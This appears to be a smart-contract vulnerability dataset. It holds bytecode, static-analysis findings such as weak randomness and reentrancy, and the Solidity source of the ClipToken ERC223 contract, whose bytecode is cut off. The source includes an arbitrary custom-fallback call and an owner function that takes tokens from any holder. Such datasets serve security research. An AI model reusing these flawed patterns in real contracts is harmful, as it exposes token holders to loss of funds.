02179055505b50565b600e81815481101515613f3c57fe5b90600052602060002090600402016000915090508060000160009054906101000a900460ff16908060000160019054906101000a900463ffffffff16908060010154908060020154908060030160009054906101000a900463ffffffff16908060030160049054906101000a900463ffffffff16908060030160089054906101000a900461ffff169080600301600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905088565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561407357600080fd5b60009150600090505b600854811015614144576203f4804203600f8281548110151561409b57fe5b906000526020600020906005020160030154101561413757600f818154811015156140c257fe5b90600052602060002090600502016000808201600090556001820160009055600282016000905560038201600090556004820160006101000a81549060ff02191690556004820160016101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055505081806001019250505b808060010191505061407c565b816008600082825403925050819055505050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080614189614c51565b42600e8681548110151561419957fe5b906000526020600020906004020160020154111515156141b857600080fd5b6000600e868154811015156141c957fe5b906000526020600020906004020160000160019054906101000a900463ffffffff1663ffffffff161415801561426a57503373ffffffffffffffffffffffffffffffffffffffff16600e8681548110151561422057fe5b9060005260206000209060040201600301600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b151561427557600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16925060018373ffffffffffffffffffffffffffffffffffffffff166382ef351a6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561430857600080fd5b6102c65a03f1151561431957600080fd5b505050604051805190500191506040805190810160405280600781526020017f303a303a303a300000000000000000000000000000000000000000000000000081525090508273ffffffffffffffffffffffffffffffffffffffff16634654b6e283600e8881548110151561438a57fe5b906000526020600020906004020160010154600e898154811015156143ab57fe5b906000526020600020906004020160000160019054906101000a900463ffffffff163389876040518763ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808767ffffffffffffffff1667ffffffffffffffff1681526020018681526020018563ffffffff1663ffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200180602001838103835285818151815260200191508051906020019080838360005b838110156144a3578082015181840152602081019050614488565b50505050905090810190601f1680156144d05780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156145095780820151818401526020810190506144ee565b50505050905090810190601f1680156145365780820380516001836020036101000a031916815260200191505b5098505050505050505050600060405180830381600087803b151561455a57600080fd5b6102c65a03f1151561456b57600080fd5b5050506000600e8681548110151561457f57fe5b906000526020600020906004020160000160016101000a81548163ffffffff021916908363ffffffff1602179055506000600e868154811015156145bf57fe5b9060005260206000209060040201600301600a6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561468357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156146fa57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000601060008154809291906001019190505550814233601054604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390206001900481151561478257fe5b069050919050565b614792614bbb565b819050919050565b60008060009150600183510390506147b383838361491a565b505050565b600080823b905060008111915050919050565b6000806000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250662386f26fc100008581151561480757fe5b04915060ff8211156148185760ff91505b6000905066038d7ea4c6800082028101905064e8d4a51000820281019050633b9aca00820281019050620f42408202810190506103e8820281019050818101905067038ad94d608a88d78111156148755767038ad94d608a88d790505b8273ffffffffffffffffffffffffffffffffffffffff1663e931fa0c85836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808367ffffffffffffffff1667ffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15156148ff57600080fd5b6102c65a03f1151561491057600080fd5b5050505050505050565b6000806000848411151561492d57614a37565b849250839150614986868481518110151561494457fe5b90602001906020020151876001860181518110151561495f57fe5b90602001906020020151888581518110151561497757fe5b90602001906020020151614a3f565b90505b600115614a1a575b8086848151811015156149a057fe5b9060200190602002015110156149bd578280600101935050614991565b5b85828151811015156149cc57fe5b906020019060200201518110156149eb578180600190039250506149be565b82821115156149f957614a1a565b614a04868484614a98565b8280600101935050818060019003925050614989565b614a2886866001860361491a565b614a3686600184018661491a565b5b505050505050565b600082841115614a6f5781831115614a5957829050614a91565b818411614a665783614a68565b815b9050614a91565b81841115614a7f57839050614a91565b818311614a8c5782614a8e565b815b90505b9392505050565b60008383815181101515614aa857fe5b9060200190602002015190508382815181101515614ac257fe5b906020019060200201518484815181101515614ada57fe5b9060200190602002018181525050808483815181101515614af757fe5b906020019060200201818152505050505050565b82805482825590600052602060002090600701600890048101928215614baa5791602002820160005b83821115614b7857835183826101000a81548163ffffffff021916908363ffffffff1602179055509260200192600401602081600301049283019260010302614b34565b8015614ba85782816101000a81549063ffffffff0219169055600401602081600301049283019260010302614b78565b505b509050614bb79190614c65565b5090565b602060405190810160405280600081525090565b60c06040519081016040528060008152602001600081526020016000815260200160008152602001600060ff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b815481835581811511614c4c57600502816005028360005260206000209182019101614c4b9190614c98565b5b505050565b602060405190810160405280600081525090565b614c9591905b80821115614c9157600081816101000a81549063ffffffff021916905550600101614c6b565b5090565b90565b614d0f91905b80821115614d0b576000808201600090556001820160009055600282016000905560038201600090556004820160006101000a81549060ff02191690556004820160016101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600501614c9e565b5090565b905600a165627a7a7230582088065423851bab4149f0cfbd0c67ef9008f295f2691fb19b63a1f8a015dc919d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,061
0x4b7b7ce98718e5e8972b8a53bd8504123faaca52
pragma solidity ^0.4.20; /** * @title ContractReceiver * @dev Receiver for ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC223 { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); } /** CLIPTOKEN .--:///++++++++++///:--. .-:/+++++++++++++++++++++++++++++/:. -:++++++++++++++++++++++++++++++++++++++++/-. .:/+++++++++++++++++++++++++++++++++++++++++++++++:. .:++++++++++++++++++++++++++++++++++++++++++++++++++++++:. -/++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/- -+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/- -+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` -/++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` /++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/. .-- -++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/. .-::::. :+++++++++++++++++++++++++++++++//::-........--://++++++++++/. .-:::::::- /++++++++++++++++++++++++++++/:.`` ``.:/++++/. `.-::::::::::- /++++++++++++++++++++++++++/-. `-:. `.::::::::::::::: /+++++++++++++++++++++++++/. `.:::::::::::::::::: :++++++++++++++++++++++++/. `.::::::::::::::::::::- -++++++++++++++++++++++++- .:::::::::::::::::::::::- +++++++++++++++++++++++/` -::::::::::::::::::::::: :++++++++++++++++++++++/` .::::::::::::::::::::::- ++++++++++++++++++++++/` -:::::::::::::::::::::: -++++++++++++++++++++++. ..........................::::::::::::::::::::::- /+++++++++++++++++++++: `::::::::::::::::::::::::::::::::::::::::::::::::: ++++++++++++++++++++++. `::::::::::::::::::::::::::::::::::::::::::::::::: ++++++++++++++++++++++` `::::::::::::::::::::::::::::::::::::::::::::::::: ++++++++++++++++++++++ `::::::::::::::::::::::::::::::::::::::::::::::::: ++++++++++++++++++++++` `::::::::::::::::::::::::::::::::::::::::::::::::: ++++++++++++++++++++++` `::::::::::::::::::::::::::::::::::::::::::::::::: /+++++++++++++++++++++: `::::::::::::::::::::::::::::::::::::::::::::::::: -++++++++++++++++++++++` `--------------------------::::::::::::::::::::::: ++++++++++++++++++++++/ .::::::::::::::::::::::: :++++++++++++++++++++++: .::::::::::::::::::::::: +++++++++++++++++++++++: .:::::::::::::::::::::::. :++++++++++++++++++++++. .:::::::::::::::::::::::- /++++++++++++++++++++- .::::::::::::::::::::::. +++++++++++++++++++- .-::::::::::::::::::. +++++++++++++++++: .. .-:::::::::::::::. /++++++++++++++: .-//+:- .:/++/. .-::::::::::::. /++++++++++++: .-/+++++++++//:-.. ..-://++++++++/. .-::::::::: :++++++++++/` .:/+++++++++++++++++++++++++++++++++++++++++++/. .-:::::- ./++++++++//+++++++++++++++++++++++++++++++++++++++++++++++++/- .-::. `:++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` .` ./++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` ./++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` `:++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++: `-/++++++++++++++++++++++++++++++++++++++++++++++++++++++/-` `-/++++++++++++++++++++++++++++++++++++++++++++++++/-. `.:/+++++++++++++++++++++++++++++++++++++++++:-` `.-:++++++++++++++++++++++++++++++++/:.` ``.-://++++++++++++++++//:--.` `````````` :::::: :: `:: ::::: ,,,,,,, ,,,,,, ,, ,,, ,,,,,, ,,. ,, :::,.,: :: `:: ::,::: ,,,,,,, ,,,,,,,,` ,, ,,, ,,,,,, ,,, ,, ,:: :: `:: :: :: ,, .,, ,,, ,, .,, ,, ,,,, ,, ::` :: `:: :: :: ,, ,,, ,,` ,, ,, ,, ,,,,, ,, :: :: `:: :::::: ,, ,, ,,, ,,,,, ,,,,,, ,, ,,, ,, :: :: `:: ::::: ,, ,, ,,, ,,`,, ,,,,,, ,, `,, ,, ::. :: `:: :: ,, ,,, ,, ,, ,,, ,, ,, ,,,,, .:: :: `:: :: ,, ,,. ,,, ,, ,,, ,, ,, ,,,, ,:::::: :::::,`:: :: ,, .,,,,,,, ,, `,, ,,,,,, ,, ,,, .::::: :::::,`:: :: ,, ,,,,, ,, ,,, ,,,,,, ,, ,, */ contract CLIP is ERC223, Ownable { using SafeMath for uint256; string public name = "ClipToken"; string public symbol = "CLIP"; uint8 public decimals = 8; uint256 public totalSupply = 333e8 * 1e8; uint256 public distributeAmount = 0; mapping (address => uint256) balances; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed burner, uint256 value); function CLIP() public { balances[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } modifier onlyPayloadSize(uint256 size){ assert(msg.data.length >= size + 4); _; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { // retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value); balances[_to] = SafeMath.add(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint i = 0; i < targets.length; i++) { require(targets[i] != 0x0); frozenAccount[targets[i]] = isFrozen; FrozenFunds(targets[i], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint i = 0; i < targets.length; i++){ require(unlockUnixTime[targets[i]] < unixTimes[i]); unlockUnixTime[targets[i]] = unixTimes[i]; LockedFunds(targets[i], unixTimes[i]); } } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf(_from) >= _unitAmount); balances[_from] = SafeMath.sub(balances[_from], _unitAmount); totalSupply = SafeMath.sub(totalSupply, _unitAmount); Burn(_from, _unitAmount); } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balances[msg.sender] >= totalAmount); for (uint i = 0; i < addresses.length; i++) { require(addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); balances[addresses[i]] = balances[addresses[i]].add(amount); Transfer(msg.sender, addresses[i], amount); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); return true; } function distributeToken(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint i = 0; i < addresses.length; i++){ require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = amounts[i].mul(1e8); totalAmount = totalAmount.add(amounts[i]); } require(balances[msg.sender] >= totalAmount); for (i = 0; i < addresses.length; i++) { balances[addresses[i]] = balances[addresses[i]].add(amounts[i]); Transfer(msg.sender, addresses[i], amounts[i]); } balances[msg.sender] = balances[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint i = 0; i < addresses.length; i++) { require(amounts[i] > 0 && addresses[i] != 0x0 && frozenAccount[addresses[i]] == false && now > unlockUnixTime[addresses[i]]); amounts[i] = SafeMath.mul(amounts[i], 1e8); require(balances[addresses[i]] >= amounts[i]); balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]); totalAmount = SafeMath.add(totalAmount, amounts[i]); Transfer(addresses[i], msg.sender, amounts[i]); } balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn&#39;t work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf(owner) >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if (msg.value > 0) owner.transfer(msg.value); balances[owner] = SafeMath.sub(balances[owner], distributeAmount); balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev token fallback function */ function() payable public { autoDistribute(); } }
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012757806318160ddd146101b5578063313ce567146101de5780634f25eced1461020d57806364ddc60514610236578063659de63b146102d057806370a08231146103825780638da5cb5b146103cf578063945946251461042457806395d89b411461049f5780639dc29fac1461052d578063a8f11eb91461056f578063a9059cbb14610579578063b414d4b6146105d3578063be45fd6214610624578063c341b9f6146106c1578063cbbe974b14610726578063d39b1d4814610773578063f0dc417114610796578063f2fde38b14610848578063f6368f8a14610881575b610125610961565b005b341561013257600080fd5b61013a610ca7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017a57808201518184015260208101905061015f565b50505050905090810190601f1680156101a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c057600080fd5b6101c8610d4f565b6040518082815260200191505060405180910390f35b34156101e957600080fd5b6101f1610d59565b604051808260ff1660ff16815260200191505060405180910390f35b341561021857600080fd5b610220610d70565b6040518082815260200191505060405180910390f35b341561024157600080fd5b6102ce60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610d76565b005b34156102db57600080fd5b61036860048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610f7a565b604051808215151515815260200191505060405180910390f35b341561038d57600080fd5b6103b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611481565b6040518082815260200191505060405180910390f35b34156103da57600080fd5b6103e26114ca565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042f57600080fd5b6104856004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190919050506114f0565b604051808215151515815260200191505060405180910390f35b34156104aa57600080fd5b6104b261193f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104f25780820151818401526020810190506104d7565b50505050905090810190601f16801561051f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561053857600080fd5b61056d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506119e7565b005b610577610961565b005b341561058457600080fd5b6105b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b56565b604051808215151515815260200191505060405180910390f35b34156105de57600080fd5b61060a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611cf0565b604051808215151515815260200191505060405180910390f35b341561062f57600080fd5b6106a7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611d10565b604051808215151515815260200191505060405180910390f35b34156106cc57600080fd5b6107246004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080351515906020019091905050611ea1565b005b341561073157600080fd5b61075d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612043565b6040518082815260200191505060405180910390f35b341561077e57600080fd5b610794600480803590602001909190505061205b565b005b34156107a157600080fd5b61082e600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506120c1565b604051808215151515815260200191505060405180910390f35b341561085357600080fd5b61087f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061256e565b005b341561088c57600080fd5b610947600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506126c6565b604051808215151515815260200191505060405180910390f35b600060065411801561099f575060065461099c600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611481565b10155b80156109fb575060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015610a455750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b1515610a5057600080fd5b6000341115610abc57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610abb57600080fd5b5b610b2960076000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600654612bbc565b60076000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd9600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600654612bd5565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6006546040518082815260200191505060405180910390a3565b610caf61315b565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d455780601f10610d1a57610100808354040283529160200191610d45565b820191906000526020600020905b815481529060010190602001808311610d2857829003601f168201915b5050505050905090565b6000600554905090565b6000600460009054906101000a900460ff16905090565b60065481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dd457600080fd5b60008351118015610de6575081518351145b1515610df157600080fd5b600090505b8251811015610f75578181815181101515610e0d57fe5b90602001906020020151600960008584815181101515610e2957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515610e7a57600080fd5b8181815181101515610e8857fe5b90602001906020020151600960008584815181101515610ea457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508281815181101515610efa57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610f4957fe5b906020019060200201516040518082815260200191505060405180910390a28080600101915050610df6565b505050565b6000806000808551118015610f90575083518551145b8015610fec575060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156110365750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561104157600080fd5b60009150600090505b845181101561120a576000848281518110151561106357fe5b906020019060200201511180156110a857506000858281518110151561108557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614155b801561111b5750600015156008600087848151811015156110c557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b801561117c575060096000868381518110151561113457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b151561118757600080fd5b6111b56305f5e100858381518110151561119d57fe5b90602001906020020151612bf390919063ffffffff16565b84828151811015156111c357fe5b90602001906020020181815250506111fb84828151811015156111e257fe5b9060200190602002015183612bd590919063ffffffff16565b9150808060010191505061104a565b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561125857600080fd5b600090505b84518110156113e0576112e6848281518110151561127757fe5b9060200190602002015160076000888581518110151561129357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bd590919063ffffffff16565b6007600087848151811015156112f857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550848181518110151561134e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86848151811015156113b457fe5b906020019060200201516040518082815260200191505060405180910390a3808060010191505061125d565b61143282600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bbc90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019250505092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008084118015611505575060008551115b8015611561575060001515600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156115ab5750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442115b15156115b657600080fd5b6115cd6305f5e10085612bf390919